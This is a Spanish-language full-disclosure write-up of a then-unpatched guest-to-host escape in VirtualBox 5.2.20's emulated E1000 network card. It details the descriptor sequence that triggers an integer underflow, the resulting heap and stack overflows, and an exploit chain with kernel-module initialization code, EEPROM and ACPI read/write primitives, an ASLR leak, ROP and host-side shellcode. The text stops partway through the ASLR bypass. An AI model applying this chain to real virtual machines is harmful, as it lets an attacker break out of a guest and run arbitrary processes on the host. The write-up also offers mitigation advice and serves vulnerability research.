
Escape de invitado a anfitrión de VirtualBox E1000
Me gusta VirtualBox y no tiene nada que ver con por qué publico una vulnerabilidad 0day. La razón es mi desacuerdo con el estado contemporáneo de la infosec, especialmente de la investigación de seguridad y el bug bounty:
Estoy agotado de los dos primeros, por lo que mi movimiento es la divulgación completa. Infosec, por favor avanza.
Software vulnerable: VirtualBox 5.2.20 y versiones anteriores.
SO anfitrión: cualquiera, el bug está en una base de código compartida.
SO invitado: cualquiera.
Configuración de la VM: predeterminada (el único requisito es que la tarjeta de red sea Intel PRO/1000 MT Desktop (82540EM) y el modo sea NAT).
Hasta que salga la compilación de VirtualBox parcheada, puedes cambiar la tarjeta de red de tus máquinas virtuales a PCnet (a cualquiera de las dos) o a Paravirtualized Network. Si no puedes, cambia el modo de NAT a otro. La primera opción es más segura.
Un dispositivo de red virtual predeterminado de VirtualBox es Intel PRO/1000 MT Desktop (82540EM) y el modo de red predeterminado es NAT. Nos referiremos a él como E1000.
El E1000 tiene una vulnerabilidad que permite a un atacante con privilegios de root/administrador en un invitado escapar al ring3 del anfitrión. Luego, el atacante puede usar técnicas existentes para escalar privilegios al ring 0 a través de /dev/vboxdrv.
Para enviar paquetes de red, un invitado hace lo que hace una PC común: configura una tarjeta de red y le suministra paquetes de red. Los paquetes son tramas de la capa de enlace de datos y otros encabezados de nivel superior. Los paquetes suministrados al adaptador se envuelven en descriptores Tx (Tx significa transmitir). El descriptor Tx es una estructura de datos descrita en la hoja de datos del 82540EM (317453006EN.PDF, Revision 4.0). Almacena metainformación como el tamaño del paquete, la etiqueta VLAN, los indicadores de segmentación TCP/IP habilitados, etc.
La hoja de datos del 82540EM contempla tres tipos de descriptores Tx: legacy, contexto y datos. Legacy está obsoleto, creo. Los otros dos se usan juntos. Lo único que nos importa es que los descriptores de contexto establecen el tamaño máximo de paquete y activan la segmentación TCP/IP, y que los descriptores de datos contienen las direcciones físicas de los paquetes de red y sus tamaños. El tamaño de paquete del descriptor de datos debe ser menor que el tamaño máximo de paquete del descriptor de contexto. Normalmente, los descriptores de contexto se suministran a la tarjeta de red antes que los descriptores de datos.
Para suministrar descriptores Tx a la tarjeta de red, un invitado los escribe en Tx Ring. Este es un búfer circular que reside en la memoria física en una dirección predefinida. Cuando todos los descriptores se han escrito en Tx Ring, el invitado actualiza el registro TDT MMIO del E1000 (Transmit Descriptor Tail) para indicar al anfitrión que hay nuevos descriptores que procesar.
Considera el siguiente arreglo de descriptores Tx:``` [context_1, data_2, data_3, context_4, data_5]
Asignemos sus campos de estructura de la siguiente manera (los nombres de los campos son hipotéticos para que sean legibles por humanos, pero se asignan directamente a la especificación 82540EM):```
context_1.header_length = 0
context_1.maximum_segment_size = 0x3010
context_1.tcp_segmentation_enabled = true
data_2.data_length = 0x10
data_2.end_of_packet = false
data_2.tcp_segmentation_enabled = true
data_3.data_length = 0
data_3.end_of_packet = true
data_3.tcp_segmentation_enabled = true
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true
data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true
Aprenderemos por qué deberían ser así en nuestro análisis paso a paso.
Supongamos que los descriptores anteriores se escriben en el Tx Ring en el orden especificado y el registro TDT es actualizado por el invitado. Ahora el anfitrión ejecutará la función e1kXmitPending en el archivo src/VBox/Devices/Network/DevE1000.cpp (la mayoría de los comentarios se omiten y se omitirán en aras de la legibilidad):```c static int e1kXmitPending(PE1KSTATE pThis, bool fOnWorkerThread) { ... while (!pThis->fLocked && e1kTxDLazyLoad(pThis)) { while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }
e1kTxDLazyLoad leerá los 5 descriptores Tx del anillo Tx. Luego se llama a e1kLocateTxPacket por primera vez. Esta función itera a través de todos los descriptores para establecer un estado inicial, pero no los maneja realmente. En nuestro caso, la primera llamada a e1kLocateTxPacket manejará los descriptores context_1, data_2 y data_3. Los dos descriptores restantes, context_4 y data_5, se manejarán en la segunda iteración del bucle while (cubriremos la segunda iteración en la siguiente sección). Esta división del arreglo en dos partes es crucial para desencadenar la vulnerabilidad, así que averigüemos por qué.
e1kLocateTxPacket se ve así:```c
static bool e1kLocateTxPacket(PE1KSTATE pThis)
{
...
for (int i = pThis->iTxDCurrent; i < pThis->nTxDFetched; ++i)
{
E1KTXDESC *pDesc = &pThis->aTxDescriptors[i];
switch (e1kGetDescType(pDesc))
{
case E1K_DTYP_CONTEXT:
e1kUpdateTxContext(pThis, pDesc);
continue;
case E1K_DTYP_LEGACY:
...
break;
case E1K_DTYP_DATA:
if (!pDesc->data.u64BufAddr || !pDesc->data.cmd.u20DTALEN)
break;
...
break;
default:
AssertMsgFailed(("Impossible descriptor type!"));
}
El primer descriptor (context_1) es de tipo E1K_DTYP_CONTEXT, por lo que se llama a la función e1kUpdateTxContext. Esta función actualiza un contexto de segmentación TCP si la segmentación TCP está habilitada para el descriptor. Esto es cierto para context_1, por lo que el contexto de segmentación TCP se actualizará. (Lo que realmente es la actualización del contexto de segmentación TCP no es importante, y lo usaremos solo para referirnos al código siguiente).
El segundo descriptor (data_2) es de tipo E1K_DTYP_DATA, por lo que se realizarán varias acciones innecesarias para la discusión.
El tercer descriptor (data_3) también es de tipo E1K_DTYP_DATA, pero como data_3.data_length == 0 no se realiza ninguna acción.
En el momento en que los tres descriptores se procesan inicialmente y los dos permanecen. Ahora la cuestión: después de la sentencia switch hay una comprobación de si el campo end_of_packet de un descriptor estaba establecido. Esto es cierto para el descriptor data_3 (data_3.end_of_packet == true). El código realiza algunas acciones y retorna de la función:```c if (pDesc->legacy.cmd.fEOP) { ... return true; }
Si data_3.end_of_packet hubiera sido false, entonces los descriptores restantes context_4 y data_5 se habrían procesado y la vulnerabilidad se habría eludido. A continuación verás por qué ese retorno de la función conduce al fallo.
Al final de la función e1kLocateTxPacket tenemos los siguientes descriptores listos para desenvolver paquetes de red y enviarlos a una red: context_1, data_2, data_3. Luego, el bucle interno de e1kXmitPending llama a e1kXmitPacket. Esta función itera a través de todos los descriptores (5 en nuestro caso) para procesarlos realmente:```c
static int e1kXmitPacket(PE1KSTATE pThis, bool fOnWorkerThread)
{
...
while (pThis->iTxDCurrent < pThis->nTxDFetched)
{
E1KTXDESC *pDesc = &pThis->aTxDescriptors[pThis->iTxDCurrent];
...
rc = e1kXmitDesc(pThis, pDesc, e1kDescAddr(TDBAH, TDBAL, TDH), fOnWorkerThread);
...
if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP)
break;
}
Para cada descriptor se llama a la función e1kXmitDesc:```c static int e1kXmitDesc(PE1KSTATE pThis, E1KTXDESC *pDesc, RTGCPHYS addr, bool fOnWorkerThread) { ... switch (e1kGetDescType(pDesc)) { case E1K_DTYP_CONTEXT: ... break; case E1K_DTYP_DATA: { ... if (pDesc->data.cmd.u20DTALEN == 0 || pDesc->data.u64BufAddr == 0) { E1kLog2(("% Empty data descriptor, skipped.\n", pThis->szPrf)); } else { if (e1kXmitIsGsoBuf(pThis->CTX_SUFF(pTxSg))) { ... } else if (!pDesc->data.cmd.fTSE) { ... } else { STAM_COUNTER_INC(&pThis->StatTxPathFallback); rc = e1kFallbackAddToFrame(pThis, pDesc, fOnWorkerThread); } } ...
El primer descriptor pasado a e1kXmitDesc es context_1. La función no hace nada con los descriptores de contexto.
El segundo descriptor pasado a e1kXmitDesc es data\_2. Dado que todos nuestros descriptores de datos tienen tcp\_segmentation\_enable == true (pDesc->data.cmd.fTSE arriba), llamamos a e1kFallbackAddToFrame donde se producirá un subdesbordamiento de enteros mientras se procesa data\_5.```c
static int e1kFallbackAddToFrame(PE1KSTATE pThis, E1KTXDESC *pDesc, bool fOnWorkerThread)
{
...
uint16_t u16MaxPktLen = pThis->contextTSE.dw3.u8HDRLEN + pThis->contextTSE.dw3.u16MSS;
/*
* Carve out segments.
*/
int rc = VINF_SUCCESS;
do
{
/* Calculate how many bytes we have left in this TCP segment */
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
if (cb > pDesc->data.cmd.u20DTALEN)
{
/* This descriptor fits completely into current segment */
cb = pDesc->data.cmd.u20DTALEN;
rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
}
else
{
...
}
pDesc->data.u64BufAddr += cb;
pDesc->data.cmd.u20DTALEN -= cb;
} while (pDesc->data.cmd.u20DTALEN > 0 && RT_SUCCESS(rc));
if (pDesc->data.cmd.fEOP)
{
...
pThis->u16TxPktLen = 0;
...
}
return VINF_SUCCESS; /// @todo consider rc;
}
Las variables más importantes aquí son u16MaxPktLen, pThis->u16TxPktLen y pDesc->data.cmd.u20DTALEN.
Vamos a dibujar una tabla donde se especifiquen los valores de estas variables antes y después de la ejecución de la función e1kFallbackAddToFrame para los dos descriptores de datos.
| Descriptor de Tx | Antes/Después | u16MaxPktLen | pThis->u16TxPktLen | pDesc->data.cmd.u20DTALEN |
|---|---|---|---|---|
| data_2 | Antes | 0x3010 | 0 | 0x10 |
| - | Después | 0x3010 | 0x10 | 0 |
| data_3 | Antes | 0x3010 | 0x10 | 0 |
| - | Después | 0x3010 | 0x10 | 0 |
Solo necesita notar que cuando se procesa data_3, pThis->u16TxPktLen es igual a 0x10.
A continuación viene la parte más importante. Mire de nuevo el final del fragmento de e1kXmitPacket:```c if (e1kGetDescType(pDesc) != E1K_DTYP_CONTEXT && pDesc->legacy.cmd.fEOP) break;
Dado que el tipo de data_3 != E1K_DTYP_CONTEXT y data_3.end_of_packet == true, salimos del bucle a pesar de que quedan context_4 y data_5 por procesar. ¿Por qué es importante? La clave para entender la vulnerabilidad es comprender que todos los descriptores de contexto se procesan antes que los descriptores de datos. Los descriptores de contexto se procesan durante la Actualización de Contexto de Segmentación TCP en e1kLocateTxPacket. Los descriptores de datos se procesan más tarde, en el bucle dentro de la función e1kXmitPacket. La intención del desarrollador era prohibir cambiar u16MaxPktLen después de que se hubieran procesado algunos datos, para evitar desbordamientos de enteros por subescapado (underflow) en el código:```c
uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen;
Pero somos capaces de eludir esta protección: recuerde que en e1kLocateTxPacket forzamos a la función a retornar porque data_3.end_of_packet == true. Y debido a eso, nos quedan dos descriptores (context_4 y data_5) por procesar a pesar de que pThis->u16TxPktLen es 0x10, no 0. Así que existe la posibilidad de cambiar u16MaxPktLen usando context_4.maximum_segment_size para provocar el underflow de enteros.
Ahora, cuando los primeros tres descriptores fueron procesados, llegamos de nuevo al bucle interno de e1kXmitPending:```c while (e1kLocateTxPacket(pThis)) { fIncomplete = false; rc = e1kXmitAllocBuf(pThis, pThis->fGSO); if (RT_FAILURE(rc)) goto out; rc = e1kXmitPacket(pThis, fOnWorkerThread); if (RT_FAILURE(rc)) goto out; }
Aquí llamamos a e1kLocateTxPacket para realizar el procesamiento inicial de los descriptores context_4 y data_5. Se ha dicho que podemos establecer context_4.maximum_segment_size a un tamaño menor que el tamaño de los datos ya leídos, es decir, menor que 0x10. Recordemos nuestros descriptores Tx de entrada:```
context_4.header_length = 0
context_4.maximum_segment_size = 0xF
context_4.tcp_segmentation_enabled = true
data_5.data_length = 0x4188
data_5.end_of_packet = true
data_5.tcp_segmentation_enabled = true
Como resultado de la llamada a e1kLocateTxPacket, tenemos el tamaño máximo de segmento igual a 0xF, mientras que el tamaño de los datos ya leídos es 0x10.
Finalmente, al procesar data_5, llegamos de nuevo a e1kFallbackAddToFrame y tenemos los siguientes valores de variables:
| Tx Descriptor | Before/After | u16MaxPktLen | pThis->u16TxPktLen | pDesc->data.cmd.u20DTALEN |
|---|---|---|---|---|
| data_5 | Before | 0xF | 0x10 | 0x4188 |
| - | After | - | - | - |
Y por lo tanto tenemos un subdesbordamiento de entero:```c uint32_t cb = u16MaxPktLen - pThis->u16TxPktLen; => uint32_t cb = 0xF - 0x10 = 0xFFFFFFFF;
Esto hace que la siguiente comprobación sea verdadera ya que 0xFFFFFFFF > 0x4188:```c
if (cb > pDesc->data.cmd.u20DTALEN)
{
cb = pDesc->data.cmd.u20DTALEN;
rc = e1kFallbackAddSegment(pThis, pDesc->data.u64BufAddr, cb, pDesc->data.cmd.fEOP /*fSend*/, fOnWorkerThread);
}
La función e1kFallbackAddSegment se llamará con un tamaño de 0x4188. Sin la vulnerabilidad es imposible llamar a e1kFallbackAddSegment con un tamaño mayor que 0x3FA0 (E1K_MAX_TX_PKT_SIZE == 0x3FA0) porque, durante la actualización del contexto de segmentación TCP en e1kUpdateTxContext, hay una comprobación de que el tamaño máximo de segmento es menor o igual que 0x3FA0:```c DECLINLINE(void) e1kUpdateTxContext(PE1KSTATE pThis, E1KTXDESC *pDesc) { ... uint32_t cbMaxSegmentSize = pThis->contextTSE.dw3.u16MSS + pThis->contextTSE.dw3.u8HDRLEN + 4; /VTAG/ if (RT_UNLIKELY(cbMaxSegmentSize > E1K_MAX_TX_PKT_SIZE)) { pThis->contextTSE.dw3.u16MSS = E1K_MAX_TX_PKT_SIZE - pThis->contextTSE.dw3.u8HDRLEN - 4; /VTAG/ ... }
### Buffer Overflow
Hemos llamado a e1kFallbackAddSegment con un tamaño de 0x4188. ¿Cómo se puede abusar de esto? Hay al menos dos posibilidades que encontré. En primer lugar, los datos se leerán desde el invitado a un búfer en el heap:```c
static int e1kFallbackAddSegment(PE1KSTATE pThis, RTGCPHYS PhysAddr, uint16_t u16Len, bool fSend, bool fOnWorkerThread)
{
...
PDMDevHlpPhysRead(pThis->CTX_SUFF(pDevIns), PhysAddr,
pThis->aTxPacketFallback + pThis->u16TxPktLen, u16Len);
Aquí pThis->aTxPacketFallback es el búfer de tamaño 0x3FA0 y u16Len es 0x4188 — un desbordamiento evidente que puede conducir, por ejemplo, a la sobrescritura de punteros a función.
En segundo lugar, si profundizamos, encontramos que e1kFallbackAddSegment llama a e1kTransmitFrame que puede, con una determinada configuración de los registros E1000, llamar a la función e1kHandleRxPacket. Esta función asigna un búfer de pila de tamaño 0x4000 y luego copia datos de una longitud especificada (0x4188 en nuestro caso) al búfer sin ninguna comprobación:```c
static int e1kHandleRxPacket(PE1KSTATE pThis, const void *pvBuf, size_t cb, E1KRXDST status)
{
#if defined(IN_RING3)
uint8_t rxPacket[E1K_MAX_RX_PKT_SIZE];
...
if (status.fVP)
{
...
}
else
memcpy(rxPacket, pvBuf, cb);
Como ves, convertimos un underflow de enteros en un clásico desbordamiento de búfer de pila. Los dos desbordamientos anteriores — el de montón y el de pila — se usan en el exploit.
## Exploit
El exploit es un módulo de kernel de Linux (LKM) para cargar en un sistema operativo invitado. El caso de Windows requeriría un controlador que difiere del LKM solo por un envoltorio de inicialización y llamadas a la API del kernel.
Se requieren privilegios elevados para cargar un controlador en ambos SO. Es algo común y no se considera un obstáculo insuperable. Mira el concurso Pwn2Own, donde los investigadores usan cadenas de exploits: se explota un navegador que abrió un sitio web malicioso en el SO invitado, se realiza una evasión del sandbox del navegador para obtener acceso completo al anillo 3, se explota una vulnerabilidad del sistema operativo para allanar el camino hacia el anillo 0, desde donde hay todo lo necesario para atacar un hipervisor desde el SO invitado.
Las vulnerabilidades de hipervisor más potentes son, sin duda, aquellas que pueden explotarse desde el anillo 3 del invitado. En VirtualBox también hay código de este tipo que es accesible sin privilegios de root en el invitado, y en su mayoría aún no ha sido auditado.
El exploit es 100% fiable. Significa que o funciona siempre o nunca, debido a binarios no coincidentes u otras razones más sutiles que no tuve en cuenta. Funciona al menos en invitados Ubuntu 16.04 y 18.04 x86_64 con configuración predeterminada.
### Algoritmo de explotación
1) Un atacante descarga e1000.ko, cargado por defecto en los invitados Linux, y carga el LKM del exploit.
2) El LKM inicializa E1000 de acuerdo con la hoja de datos. Solo se inicializa la mitad de transmisión, ya que no se necesita la mitad de recepción.
3) Paso 1: fuga de información.
1) El LKM desactiva el modo loopback de E1000 para hacer inalcanzable el código de desbordamiento de búfer de pila.
2) El LKM usa la vulnerabilidad de underflow de enteros para provocar el desbordamiento de búfer de montón.
3) El desbordamiento de búfer de montón permite usar la EEPROM de E1000 para escribir dos bytes cualesquiera relativos a un búfer de montón en un rango de 128 KB. De ahí que el atacante obtenga una primitiva de escritura.
4) El LKM usa la primitiva de escritura 8 veces para escribir bytes en la estructura de datos ACPI (Interfaz Avanzada de Configuración y Energía) en el montón. Los bytes se escriben en una variable de índice de un búfer de montón del que se leerá un solo byte. Dado que el tamaño del búfer es menor que el número máximo de índice (255), el atacante puede leer más allá del búfer y, por lo tanto, obtiene una primitiva de lectura.
5) El LKM usa la primitiva de lectura 8 veces para acceder a ACPI y obtener 8 bytes del montón. Esos bytes son un puntero de la biblioteca compartida VBoxDD.so.
6) El LKM resta la RVA del puntero para obtener la base de la imagen de VBoxDD.so.
4) Paso 2: desbordamiento de búfer de pila.
1) El LKM activa el modo loopback de E1000 para hacer accesible el código de desbordamiento de búfer de pila.
2) El LKM usa la vulnerabilidad de underflow de enteros para provocar el desbordamiento de búfer de montón y el desbordamiento de búfer de pila. La dirección de retorno guardada (RIP/EIP) se sobrescribe. El atacante obtiene el control.
3) Se ejecuta una cadena ROP para ejecutar un cargador de shellcode.
5) Paso 3: shellcode.
1) El cargador de shellcode copia un shellcode desde la pila junto a sí mismo. El shellcode se ejecuta.
2) El shellcode realiza llamadas al sistema fork y execve para lanzar un proceso arbitrario en el lado del anfitrión.
3) El proceso padre realiza la continuación del proceso.
6) El atacante descarga el LKM y vuelve a cargar e1000.ko para permitir que el invitado use la red.
### Inicialización
El LKM mapea la memoria física correspondiente a la MMIO de E1000. La dirección física y el tamaño están predefinidos por el hipervisor.```c
void* map_mmio(void) {
off_t pa = 0xF0000000;
size_t len = 0x20000;
void* va = ioremap(pa, len);
if (!va) {
printk(KERN_INFO PFX"ioremap failed to map MMIO\n");
return NULL;
}
return va;
}
Luego se configuran los registros de propósito general de la E1000, se asigna la memoria del Tx Ring y se configuran los registros de transmisión.```c void e1000_init(void* mmio) { // Configure general purpose registers
configure_CTRL(mmio);
// Configure TX registers
g_tx_ring = kmalloc(MAX_TX_RING_SIZE, GFP_KERNEL);
if (!g_tx_ring) {
printk(KERN_INFO PFX"Failed to allocate TX Ring\n");
return;
}
configure_TDBAL(mmio);
configure_TDBAH(mmio);
configure_TDLEN(mmio);
configure_TCTL(mmio);
}
### Bypass de ASLR
#### Primitiva de escritura
Desde el comienzo del desarrollo del exploit decidí no usar primitivas encontradas en servicios deshabilitados por defecto. Esto significa, en primer lugar, el servicio Chromium (no un navegador) que proporciona aceleración 3D, donde los investigadores encontraron más de 40 vulnerabilidades en el último año.
El problema era encontrar una fuga de información en los subsistemas predeterminados de VirtualBox. El pensamiento obvio era que si el subdesbordamiento de enteros permite desbordar el búfer del montón, entonces controlamos cualquier cosa más allá del búfer. Veremos que no se requirió ni una sola vulnerabilidad adicional: el subdesbordamiento de enteros resultó ser bastante potente para derivar de él primitivas de lectura, escritura y fuga de información, sin mencionar el desbordamiento del búfer de pila.
Examinemos qué es exactamente lo que se desborda en el montón.```c
/**
* Device state structure.
*/
struct E1kState_st
{
...
uint8_t aTxPacketFallback[E1K_MAX_TX_PKT_SIZE];
...
E1kEEPROM eeprom;
...
}
Aquí aTxPacketFallback es un búfer de tamaño 0x3FA0 que se desbordará con bytes copiados de un descriptor de datos. Buscando campos interesantes después del búfer llegué a la estructura E1kEEPROM, que contiene otra estructura con los siguientes campos (src/VBox/Devices/Network/DevE1000.cpp):```c /**
¿Cómo podemos abusar de ellos? E1000 implementa EEPROM, memoria secundaria del adaptador. El SO invitado puede acceder a ella a través de los registros MMIO de E1000. EEPROM se implementa como un autómata finito con varios estados y realiza cuatro acciones. Solo nos interesa la "escritura en memoria". Así es como se ve (src/VBox/Devices/Network/DevEEPROM.cpp):```c
EEPROM93C46::State EEPROM93C46::opWrite()
{
storeWord(m_u16Addr, m_u16Word);
return WAITING_CS_FALL;
}
void EEPROM93C46::storeWord(uint32_t u32Addr, uint16_t u16Value)
{
if (m_fWriteEnabled) {
E1kLog(("EEPROM: Stored word %04x at %08x\n", u16Value, u32Addr));
m_au16Data[u32Addr] = u16Value;
}
m_u16Mask = DATA_MSB;
}
Aquí m_u16Addr, m_u16Word y m_fWriteEnabled son campos de la estructura EEPROM93C46 que controlamos. Podemos malformarlos de manera que```c m_au16Data[u32Addr] = u16Value;
statement escribirá dos bytes en un desplazamiento arbitrario de 16 bits desde `m_au16Data`, que también reside en la estructura. Hemos encontrado una primitiva de escritura.
#### Primitiva de lectura
El siguiente problema fue encontrar estructuras de datos en el montón donde escribir datos arbitrarios, persiguiendo el objetivo principal de filtrar un puntero de biblioteca compartida para obtener su base de imagen. Afortunadamente, no fue necesario realizar un heap spray inestable porque las estructuras de datos principales de los dispositivos virtuales parecían asignarse desde un montón interno del hipervisor de modo que la distancia entre ellas es siempre constante, a pesar de que sus direcciones virtuales, por supuesto, están aleatorizadas por ASLR.
Cuando se lanza una máquina virtual, el subsistema PDM (Pluggable Device and Driver Manager) asigna objetos `PDMDEVINS` en el montón del hipervisor.```c
int pdmR3DevInit(PVM pVM)
{
...
PPDMDEVINS pDevIns;
if (paDevs[i].pDev->pReg->fFlags & (PDM_DEVREG_FLAGS_RC | PDM_DEVREG_FLAGS_R0))
rc = MMR3HyperAllocOnceNoRel(pVM, cb, 0, MM_TAG_PDM_DEVICE, (void **)&pDevIns);
else
rc = MMR3HeapAllocZEx(pVM, MM_TAG_PDM_DEVICE, cb, (void **)&pDevIns);
...
Rastreé ese código bajo GDB usando un script y obtuve estos resultados:``` [trace-device-constructors] Constructing a device #0x0: [trace-device-constructors] Name: "pcarch", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f125a "PC Architecture Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d57517b <pcarchConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c1b0 [trace-device-constructors] Data size: 0x8
[trace-device-constructors] Constructing a device #0x1: [trace-device-constructors] Name: "pcbios", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6ef37b "PC BIOS Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d56bd3b <pcbiosConstruct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc45486c720 [trace-device-constructors] Data size: 0x11e8
...
[trace-device-constructors] Constructing a device #0xe: [trace-device-constructors] Name: "e1000", '\000' <repeats 26 times> [trace-device-constructors] Description: 0x7fc44d70c6d0 "Intel PRO/1000 MT Desktop Ethernet.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d622969 <e1kR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470083400 [trace-device-constructors] Data size: 0x53a0
[trace-device-constructors] Constructing a device #0xf: [trace-device-constructors] Name: "ichac97", '\000' <repeats 24 times> [trace-device-constructors] Description: 0x7fc44d716ac0 "ICH AC'97 Audio Controller" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d66a90f <ichac97R3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc470088b00 [trace-device-constructors] Data size: 0x1848
[trace-device-constructors] Constructing a device #0x10: [trace-device-constructors] Name: "usb-ohci", '\000' <repeats 23 times> [trace-device-constructors] Description: 0x7fc44d707025 "OHCI USB controller.\n" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d5ea841 <ohciR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008a4e0 [trace-device-constructors] Data size: 0x1728
[trace-device-constructors] Constructing a device #0x11: [trace-device-constructors] Name: "acpi", '\000' <repeats 27 times> [trace-device-constructors] Description: 0x7fc44d6eced8 "Advanced Configuration and Power Interface" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d563431 <acpiR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008be70 [trace-device-constructors] Data size: 0x1570
[trace-device-constructors] Constructing a device #0x12: [trace-device-constructors] Name: "GIMDev", '\000' <repeats 25 times> [trace-device-constructors] Description: 0x7fc44d6f17fa "VirtualBox GIM Device" [trace-device-constructors] Constructor: {int (PPDMDEVINS, int, PCFGMNODE)} 0x7fc44d575cde <gimdevR3Construct(PPDMDEVINS, int, PCFGMNODE)> [trace-device-constructors] Instance: 0x7fc47008dba0 [trace-device-constructors] Data size: 0x90
[trace-device-constructors] Instances: [trace-device-constructors] #0x0 Address: 0x7fc45486c1b0 [trace-device-constructors] #0x1 Address 0x7fc45486c720 differs from previous by 0x570 [trace-device-constructors] #0x2 Address 0x7fc4700685f0 differs from previous by 0x1b7fbed0 [trace-device-constructors] #0x3 Address 0x7fc4700696d0 differs from previous by 0x10e0 [trace-device-constructors] #0x4 Address 0x7fc47006a0d0 differs from previous by 0xa00 [trace-device-constructors] #0x5 Address 0x7fc47006a450 differs from previous by 0x380 [trace-device-constructors] #0x6 Address 0x7fc47006a920 differs from previous by 0x4d0 [trace-device-constructors] #0x7 Address 0x7fc47006ad50 differs from previous by 0x430 [trace-device-constructors] #0x8 Address 0x7fc47006b240 differs from previous by 0x4f0 [trace-device-constructors] #0x9 Address 0x7fc4548ec9a0 differs from previous by 0x-1b77e8a0 [trace-device-constructors] #0xa Address 0x7fc470075f90 differs from previous by 0x1b7895f0 [trace-device-constructors] #0xb Address 0x7fc488022000 differs from previous by 0x17fac070 [trace-device-constructors] #0xc Address 0x7fc47007cf80 differs from previous by 0x-17fa5080 [trace-device-constructors] #0xd Address 0x7fc4700820f0 differs from previous by 0x5170 [trace-device-constructors] #0xe Address 0x7fc470083400 differs from previous by 0x1310 [trace-device-constructors] #0xf Address 0x7fc470088b00 differs from previous by 0x5700 [trace-device-constructors] #0x10 Address 0x7fc47008a4e0 differs from previous by 0x19e0 [trace-device-constructors] #0x11 Address 0x7fc47008be70 differs from previous by 0x1990 [trace-device-constructors] #0x12 Address 0x7fc47008dba0 differs from previous by 0x1d30
Note el dispositivo E1000 en la posición #0xE. Se puede ver en la segunda lista que el siguiente dispositivo está a un desplazamiento de 0x5700 desde E1000, el siguiente a 0x19E0 y así sucesivamente. Ya hemos dicho que estas distancias son siempre las mismas, y es nuestra oportunidad de explotación.
Los dispositivos que siguen a E1000 son ICH IC'97, OHCI, ACPI y VirtualBox GIM. Al estudiar sus estructuras de datos, descubrí la forma de usar la primitiva de escritura.
Al iniciar la máquina virtual, se crea el dispositivo ACPI (src/VBox/Devices/PC/DevACPI.cpp):```c
typedef struct ACPIState
{
...
uint8_t au8SMBusBlkDat[32];
uint8_t u8SMBusBlkIdx;
uint32_t uPmTimeOld;
uint32_t uPmTimeA;
uint32_t uPmTimeB;
uint32_t Alignment5;
} ACPIState;
Se registra un manejador de entrada/salida de puerto ACPI para el rango 0x4100-0x410F. En el caso del puerto 0x4107 tenemos:```c PDMBOTHCBDECL(int) acpiR3SMBusRead(PPDMDEVINS pDevIns, void *pvUser, RTIOPORT Port, uint32_t *pu32, unsigned cb) { RT_NOREF1(pDevIns); ACPIState *pThis = (ACPIState *)pvUser; ... switch (off) { ... case SMBBLKDAT_OFF: *pu32 = pThis->au8SMBusBlkDat[pThis->u8SMBusBlkIdx]; pThis->u8SMBusBlkIdx++; pThis->u8SMBusBlkIdx &= sizeof(pThis->au8SMBusBlkDat) - 1; break; ...
Cuando el SO invitado ejecuta la instrucción INB(0x4107) para leer un byte del puerto, el manejador toma un byte del array au8SMBusBlkDat[32] en el índice u8SMBusBlkIdx y lo devuelve al invitado. Y así es como se aplica la primitiva de escritura: dado que la distancia entre los bloques de heap de los dispositivos virtuales es constante, también lo es la distancia desde el array EEPROM93C46.m_au16Data hasta ACPIState.u8SMBusBlkIdx. Escribiendo dos bytes en ACPIState.u8SMBusBlkIdx podemos leer datos arbitrarios en el rango de 255 bytes desde ACPIState.au8SMBusBlkDat.
Hay un obstáculo. Si observamos la estructura ACPIState, se puede ver que el array está colocado al final de la estructura. Los campos restantes son inútiles para filtrar. Así que veamos qué se puede encontrar después de la estructura:```
gef➤ x/16gx (ACPIState*)(0x7fc47008be70+0x100)+1
0x7fc47008d4e0: 0xffffe98100000090 0xfffd9b2000000000
0x7fc47008d4f0: 0x00007fc470067a00 0x00007fc470067a00
0x7fc47008d500: 0x00000000a0028a00 0x00000000000e0000
0x7fc47008d510: 0x00000000000e0fff 0x0000000000001000
0x7fc47008d520: 0x000000ff00000002 0x0000100000000000
0x7fc47008d530: 0x00007fc47008c358 0x00007fc44d6ecdc6
0x7fc47008d540: 0x0031000035944000 0x00000000000002b8
0x7fc47008d550: 0x00280001d3878000 0x0000000000000000
gef➤ x/s 0x00007fc44d6ecdc6
0x7fc44d6ecdc6: "ACPI RSDP"
gef➤ vmmap VBoxDD.so
Start End Offset Perm Path
0x00007fc44d4f3000 0x00007fc44d768000 0x0000000000000000 r-x /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d768000 0x00007fc44d968000 0x0000000000275000 --- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
0x00007fc44d968000 0x00007fc44d977000 0x0000000000275000 r-- /home/user/src/VirtualBox-5.2.20/out/linux.amd64/release/bin/VBoxDD.so
